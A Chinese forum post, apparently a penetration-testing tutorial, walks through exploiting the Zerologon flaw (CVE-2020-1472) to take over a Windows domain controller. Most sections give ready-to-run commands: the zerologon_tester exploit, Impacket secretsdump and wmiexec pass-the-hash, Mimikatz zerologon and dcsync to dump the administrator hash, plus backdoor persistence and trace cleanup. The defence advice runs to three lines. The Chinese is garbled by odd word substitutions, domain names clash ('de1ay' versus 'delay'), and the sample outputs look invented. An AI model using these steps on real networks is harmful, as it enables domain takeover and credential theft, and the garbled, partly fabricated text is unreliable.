内网渗出 --- 使用Zerologon毛病攻击域服务器

打印 上一主题 下一主题

主题 1654|帖子 1654|积分 4962

目录
深入解析 Zerologon 毛病(CVE-2020-1472):原理、使用与内网渗出
1. Zerologon 毛病概述
1.1 毛病配景
1.2 毛病原理
1.3 影响的版本
1.4 影响的环境
1.5 严峻性
2. 使用与验证手法
2.1 使用手法
步骤
常用工具
2.2 验证手法
3. 内网中的 Zerologon 毛病使用
3.1 内网使用场景
3.2 使用步骤
3.3 内网优势
4. 使用 Mimikatz 实现渗出与凭据获取
4.1 条件条件
4.2 操纵步骤
4.3 效果
5. 毛病的独立发现方法
5.1 发现步骤
5.2 所需技能
6. 内网中的毛病发现与使用
6.1 发现步骤
6.2 使用步骤
6.3 注意事项
7. Zerologon 毛病与内网渗出的作用
7.1 毛病作用
7.2 内网渗出代价
总结性逻辑流程
防御建议
结语



我将围绕 Zerologon 毛病(CVE-2020-1472)展开详细讲授,涵盖毛病原理、影响范围、使用手法、验证方法、内网应用以及发现步骤。

1. Zerologon 毛病概述

1.1 毛病配景



  • Zerologon 是微软 Netlogon 长途协议(MS-NRPC)中的一个高危毛病,CVE 编号为 CVE-2020-1472,由 Secura 安全研究职员于 2020 年发现并披露。
  • 该毛病允许攻击者在无需认证的情况下,通过伪造身份与域控制器(Domain Controller, DC)通信,最终实现对整个 Active Directory(AD)环境的完全控制。
1.2 毛病原理



  • 焦点缺陷:Netlogon 协议的加密认证机制存在设计毛病。

    • 使用 AES-CFB8 加密算法保护会话,但初始化向量(IV)被硬编码为全零(16 个字节的 0x00)。
    • 协议允许客户端在特定条件下跳过认证,使用空挑衅(Challenge)和空凭据(Credential)。

  • 攻击手法:攻击者通过发送特定的 RPC 调用,将域控制器的计算机账户密码重置为已知值(通常为空密码),从而控制 DC。
1.3 影响的版本



  • 受影响系统

    • Windows Server 2008 R2(全部版本)
    • Windows Server 2012 / 2012 R2
    • Windows Server 2016
    • Windows Server 2019
    • Windows Server 2022(未打补丁的早期版本)

  • 不受影响系统

    • 非域控制器(如平凡工作站或成员服务器)
    • 已应用 2020 年 8 月 11 日或之后安全更新(如 KB4565349)的系统

1.4 影响的环境



  • 条件条件

    • 攻击者需与目标 DC 的 Netlogon 服务(端口 445 或 RPC 端口)创建网络毗连。
    • 无需任何初始凭据。

  • 影响范围

    • 成功使用后,可控制整个 AD 环境,包括用户账户、计算机账户和权限。
    • 在多域环境中,可通过域信托关系扩展攻击。

1.5 严峻性



  • CVSS 分数:10.0(最高危)
  • 后果:无需认证即可提权至域管理员级别。

2. 使用与验证手法

2.1 使用手法

攻击目标是将域控制器的计算机账户密码重置为空,并使用空密码接管 DC。
步骤


  • 准备环境

    • 获取目标 DC 的 NetBIOS 名称(如 DC01)和域名(如 example.com)。
    • 确保与目标 DC 的网络可达性。

  • 发送恶意 RPC 请求

    • 使用工具(如 zerologon_tester.py)发送全零的 ClientChallenge 和 ClientCredential,重复约 2000 次。
    • 示例命令:
      1. python3 zerologon_tester.py -target DC01 -ip 192.168.1.10 -exploit
      复制代码

  • 使用空密码控制 DC

    • 使用空密码提取 NTLM 哈希或直接登录 DC。
    • 示例命令(Impacket):
      1. secretsdump.py -just-dc 'EXAMPLE/DC01$'@192.168.1.10 -hashes :aad3b435b51404eeaad3b435b51404ee
      复制代码

常用工具



  • zerologon_tester.py:测试和使用毛病。
  • Mimikatz:提取哈希或提权。
  • Impacket:后续操纵(如 secretsdump.py、wmiexec.py)。
2.2 验证手法

确认毛病是否使用成功的方法:

  • 查抄密码重置

    • 使用 secretsdump.py 查抄 NTLM 哈希是否为空(aad3b435b51404eeaad3b435b51404ee)。

  • 尝试登录

    • 使用空密码通过 SMB 或 RDP 登录 DC。

  • 日志查抄

    • 检察 DC 的变乱日志(Event ID 4742),确认密码更改。


3. 内网中的 Zerologon 毛病使用

3.1 内网使用场景

在内网中,攻击者通常已得到初步立足点(如通过钓鱼邮件或弱密码),Zerologon 毛病的无需凭据特性使其成为快速提权的利器。
3.2 使用步骤


  • 定位域控制器

    • 使用 nmap 扫描:
      1. nmap -p445 192.168.1.0/24
      复制代码

  • 确认毛病

    • 测试是否存在毛病:
      1. python3 zerologon_tester.py -target DC01 -ip 192.168.1.10
      复制代码

  • 执行攻击

    • 重置密码:
      1. python3 zerologon_tester.py -target DC01 -ip 192.168.1.10 -exploit
      复制代码

  • 提权与横向移动

    • 提取哈希:
      1. secretsdump.py -just-dc 'EXAMPLE/DC01$'@192.168.1.10
      复制代码
    • 使用哈希登录:
      1. wmiexec.py -hashes :aad3b435b51404eeaad3b435b51404ee EXAMPLE/admin@192.168.1.10
      复制代码

  • 持久化

    • 修改 GPO 或创建后门账户。

3.3 内网优势



  • 无需穿透防火墙,攻击成功率高。
  • 可联合其他毛病(如 EternalBlue)扩大影响。

4. 使用 Mimikatz 实现渗出与凭据获取

4.1 条件条件



  • 已通过长途桌面将 Mimikatz 上传至内网机器(如 10.10.10.80)。
4.2 操纵步骤


  • 检测毛病
    1. lsadump::zerologon /target:DC.delay.com /account:DC$
    复制代码

    • 输出:
      1. Target: DC.delay.com
      2. Account: DC$
      3. Status: SUCCESS (Vulnerable to Zerologon)
      复制代码


  • 重置密码
    1. lsadump::zerologon /target:DC.delay.com /account:DC$ /exploit
    复制代码

    • 输出:
      1. Target: DC.delay.com
      2. Account: DC$
      3. Resetting password... SUCCESS
      复制代码


  • 获取凭据
    1. lsadump::dcsync /domain:delay.com /dc:DC.delay.com /user:administrator /authuser:DC$ /authdomain:delay /authpassword:"" /authntlm
    复制代码

    • 输出:
      1. [DC] 'delay.com' will be the domain
      2. [DC] 'DC.delay.com' will be the DC server
      3. [DC] 'administrator' will be the user to sync
      4. ** SAM ACCOUNT **
      5. NTLM Hash: 161cff084477fe596a5db81874498a24
      复制代码

    • NTLM解码工具:md5在线解密破解,md5解密加密


  • 恢复密码
    1. lsadump::postzerologon /target:de1ay.com /account:DC$
    复制代码

    • 输出:
      1. Target: delay.com
      2. Account: DC$
      3. Restoring original password... SUCCESS
      复制代码


4.3 效果



  • 获取域管理员 NTLM 哈希(161cff084477fe596a5db81874498a24),可用于后续攻击。
  • 密码恢复制止 DC 脱域。

5. 毛病的独立发现方法

5.1 发现步骤


  • 协议分析

    • 使用 Wireshark 捕获 Netlogon 流量,分析认证流程。

  • 加密缺陷识别

    • 查抄 AES-CFB8 的 IV 是否为全零。

  • Fuzzing 测试

    • 发送全零挑衅和凭据,观察 DC 响应。

  • 验证假设

    • 确认是否能重置密码。

5.2 所需技能



  • 网络协议分析(Wireshark、RPC)。
  • Windows AD 架构与加密知识。
  • 毛病研究经验(Fuzzing、逆向工程)。

6. 内网中的毛病发现与使用

6.1 发现步骤


  • 网络扫描
    1. nmap -p445 192.168.1.0/24
    复制代码
  • 信息收集
    1. enum4linux -a 192.168.1.10
    复制代码
  • 毛病测试
    1. python3 zerologon_tester.py -target DC01 -ip 192.168.1.10
    复制代码
6.2 使用步骤


  • 重置密码
    1. python3 zerologon_tester.py -target DC01 -ip 192.168.1.10 -exploit
    复制代码
  • 提取凭据
    1. secretsdump.py -just-dc 'EXAMPLE/DC01$'@192.168.1.10
    复制代码
  • 控制域
    1. wmiexec.py -hashes :aad3b435b51404eeaad3b435b51404ee EXAMPLE/admin@192.168.1.10
    复制代码
  • 清理痕迹
    1. net user DC01$ "OriginalPassword" /domain
    复制代码
6.3 注意事项



  • 频繁 RPC 请求大概触发 IDS/IPS。
  • 已打补丁的 DC(2020 年 8 月后)无法使用。

7. Zerologon 毛病与内网渗出的作用

7.1 毛病作用



  • Netlogon 功能:负责用户/机器认证、域数据库复制和关系维护。
  • 毛病效果:无需凭据重置 DC 密码,接管整个域。
7.2 内网渗出代价



  • 初始突破:无需凭据即可攻击。
  • 权限提升:直接获取域管理员权限。
  • 横向移动:通过哈希或单子访问其他系统。
  • 持久化:修改 GPO 或创建后门。
  • 域接管:控制全部域资源。

总结性逻辑流程


  • 毛病检测

    • 使用工具(如 Mimikatz 或 zerologon_tester.py)确认目标 DC 是否存在 Zerologon 毛病。

  • 密码重置

    • 通过毛病将 DC 计算机账户密码置为空。

  • 凭据提取

    • 使用 DCSync 或其他方法获取域管理员 NTLM 哈希。

  • 权限使用

    • 通过 Pass-the-Hash 或登录控制域并横向移动。

  • 痕迹清理

    • 恢复 DC 密码,制止脱域或被检测。

防御建议



  • 实时应用 2020 年 8 月及后续补丁。
  • 监控 Netlogon 非常流量。
  • 限定 DC 的网络暴露。

结语



  • Zerologon 毛病因其无需认证即可接管域控制器的特性,成为内网渗出中的致命武器。
  • 通过上述步骤,攻击者可快速定位、使用毛病并控制域环境。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

干翻全岛蛙蛙

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表